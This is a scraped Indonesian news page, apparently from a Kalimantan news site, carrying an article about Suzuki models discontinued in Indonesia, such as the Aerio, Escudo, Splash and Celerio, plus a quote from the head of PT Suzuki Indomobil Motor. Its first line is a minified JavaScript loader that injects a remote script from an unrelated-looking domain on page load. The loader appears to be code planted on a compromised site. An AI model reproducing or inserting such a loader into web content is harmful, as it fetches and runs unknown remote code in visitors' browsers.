(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Otomotif

Deretan Mobil Suzuki yang ‘Pensiun Dini’


Suzuki Grand Vitara jadi produk Suzuki selanjutnya yang akan dipensiunkan Suzuki dalam waktu dekat. SUV tersebut juga sudah berhenti diproduksi di Jepang sebagai negara asal. Ini menambah daftar panjang produk Suzuki yang pensiun. Sebelumnya ada beberapa produk yang juga dihentikan penjualannya di Indonesia. Apa saja produk-produk tersebut? Suzuki Aerio sempat diperkenalkan Suzuki pada 2001. Mobil ini masuk ke dalam tipe hatchback dengan mesin 1.500 cc. Aerio sempat menjadi rival Jazz dan Yaris generasi pertama dan produk ini terakhir ditawarkan pada 2008. Suzuki Vitara, Escudo dan Sidekick, Ketiganya menghiasi lini produk Suzuki di medio 90-an. Vitara misalnya pertama kali dikenalkan 1992 dengan penggerak 4WD.

Lalu Escudo hadir 1994 dengan pilihan penggerak 2WD. Fitur dan tampilannya tidak berbeda jauh dengan Vitara. Lalu pada 1995 hadir Sidekick yang lebih ekonomis dari dua kakaknya. Ketiganya berhenti dijual sekitar tahun 1997. Cerita berlanjut ke 2001 dimana Suzuki menawarkan produk SUV Escudo. Lalu pada 2003 Suzuki memperkenalkan Escudo tujuh penumpang.




Namun nasib produk ini hanya sampai pada 2006. Produk sedan Baleno sempat diperkenalkan pada 1996. Sedan ini bertahan hingga tahun 2003 menggantinya dengan SX4 crossover dan sekarang hadir dalam rupa hatchback. Produk city car Splash pernah hadir pada 2008. Produk ini buah kerja sama antara Suzuki dan Opel di Eropa. Di Indonesia, Splash terakhir dijual 2016 lalu. Masih ingat Celerio? City car tersebut hadir hendak menggantikan Splash pada medio 2015. Namun produk yang dibawa dari India tersebut sulit untuk bersaing di Indonesia dan berhenti dijual 2017.

Presiden Direktur PT Suzuki indomobil Motor (SIM) Seiji Itayama mengungkapkan, penggantian jajaran produk-produk Suzuki selama ini adalah bagian dari strategi perusahaan. Suzuki mengikuti perkembangan tren kendaraan meski diakui hal tersebut terlihat menjadi inkonsistensi produk Suzuki. “Sebenarnya kalau saya ditanya, memang ini strategi. Bukan berarti kita berhenti, tapi kita sediakan produk yang lebih baik daripada produk sebelumnya. Memang kalau kita ganti, kita berhenti, muncul lagi image yang kurang baik. Nanti akan saya tinjau kembali,” ucap Itayama. (kmps)

Reporter : Kmps
Editor : Bie

Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

15 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

15 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

15 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

17 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

18 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

19 jam ago

This website uses cookies.